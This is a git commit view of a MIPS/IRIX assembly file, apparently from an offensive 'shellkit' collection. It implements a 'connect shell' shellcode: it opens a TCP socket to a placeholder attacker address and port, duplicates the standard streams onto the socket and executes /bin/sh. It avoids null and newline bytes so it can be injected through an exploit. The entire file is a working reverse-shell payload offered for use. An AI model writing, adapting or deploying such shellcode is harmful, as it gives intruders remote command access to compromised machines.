summaryrefslogtreecommitdiff
path: root/other/shellkit/mips_irix/connectsh.s
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/mips_irix/connectsh.s
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'other/shellkit/mips_irix/connectsh.s')
-rw-r--r--other/shellkit/mips_irix/connectsh.s109
1 files changed, 109 insertions, 0 deletions
diff --git a/other/shellkit/mips_irix/connectsh.s b/other/shellkit/mips_irix/connectsh.s
new file mode 100644
index 0000000..7b77d4e
--- /dev/null
+++ b/other/shellkit/mips_irix/connectsh.s
@@ -0,0 +1,109 @@
1/* MIPS/IRIX PIC connect shell shellcode
2 * no 0x00, 0x0a, 0x0d, 0x25 bytes
3 *
4 * -sc
5 */
6
7 /* XXX: replace syscall instructions with "\x01\x01\x01\x0c" */
8
9#include <sgidefs.h>
10#include <sys/regdef.h>
11#include <sys/asm.h>
12#include <sys.s>
13#include <sys/syscall.h>
14#include <elf.h>
15
16 .section .text
17
18 .globl cbegin
19 .globl cend
20
21cbegin:
22 .set noreorder
23 .set nomacro
24
25 /* socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)
26 */
27 li s6, 0x7350
28 subu a0, s6, 0x734e /* AF_INET = 2 */
29 subu a1, s6, 0x734e /* SOCK_STREAM = 2 */
30 subu a2, s6, 0x734a /* IPPROTO_TCP = 6 */
31 li v0, SYS_socket /* 0x0453 */
32 syscall
33
34 /* socket returned in v0, save to a0
35 */
36 andi a0, v0, 0xffff /* a0 = socket */
37
38 /* build struct sockaddr_in
39 * 0x0002port 0x_IP-addr_ 0x00000000 0x00000000
40 */
41 subu t2, s6, 0x734e /* t2 = 0x0002 */
42 sh t2, -16(sp)
43 li t2, 0x4141 /* t2 = port number */
44 sh t2, -14(sp)
45
46 /* ip address */
47 lui t2, 0x4142
48 ori t2, t2, 0x4344
49 sw t2, -12(sp)
50
51 sw zero, -8(sp)
52 sw zero, -4(sp)
53
54 /* connect (socket, (struct sockaddr *) cs,
55 * sizeof (struct sockaddr_in)
56 */
57 subu a2, s6, 0x7340 /* a2 = sizeof (struct sockaddr_in) = 0x10 */
58 subu a1, sp, a2 /* a1 = (struct sockaddr *) */
59 li v0, SYS_connect /* 0x0443 */
60 syscall
61
62 /* dup2 (sock, 0), dup2 (sock, 1), dup2 (sock, 2)
63 */
64 subu s3, s6, 0x431e /* s3 = 0x3032 (0x3030 = dummy, 0x0002 = STDERR_FILENO) */
65
66 /* socket returned in v0, save in s7
67 */
68 andi s7, a0, 0xffff
69
70 /* dup is emulated through close and fcntl, since irix offers no
71 * native dup syscall as for example linux. see phrack 56 for details
72 */
73dup_loop:
74 andi a0, s3, 0x0103 /* a0 = STD*_FILENO */
75 li v0, SYS_close /* 0x03ee */
76 syscall
77
78 andi a0, s7, 0xffff /* a0 = socket */
79 slti a1, zero, -1 /* a1 = 0 */
80 andi a2, s3, 0x0103 /* a2 = STD*_FILENO */
81 li v0, SYS_fcntl /* 0x0426 */
82 syscall
83
84 subu s3, 0x1011
85 bgez s3, dup_loop
86
87 /* execve ("/bin/sh", &{"/bin/sh",NULL}, NULL)
88 */
89 sw zero, -4(sp)
90
91 /* a2 (envp) is already zero due to the dup_loop
92 */
93gaddr: bltzal zero, gaddr /* rock on-. lsd */
94 subu a1, sp, 8
95
96 /* ra contains the proper address now */
97 addu ra, ra, 0x0120 /* add 32 + 0x0100 */
98
99 add a0, ra, -(8 + 0x100)
100 sb zero, -(1 + 0x100)(ra) /* store NUL */
101 sw a0, -8(sp)
102 li v0, SYS_execve
103 syscall
104
105 .end cbegin
106cend:
107
108 /* XXX append here: "/bin/sh\x42" */
109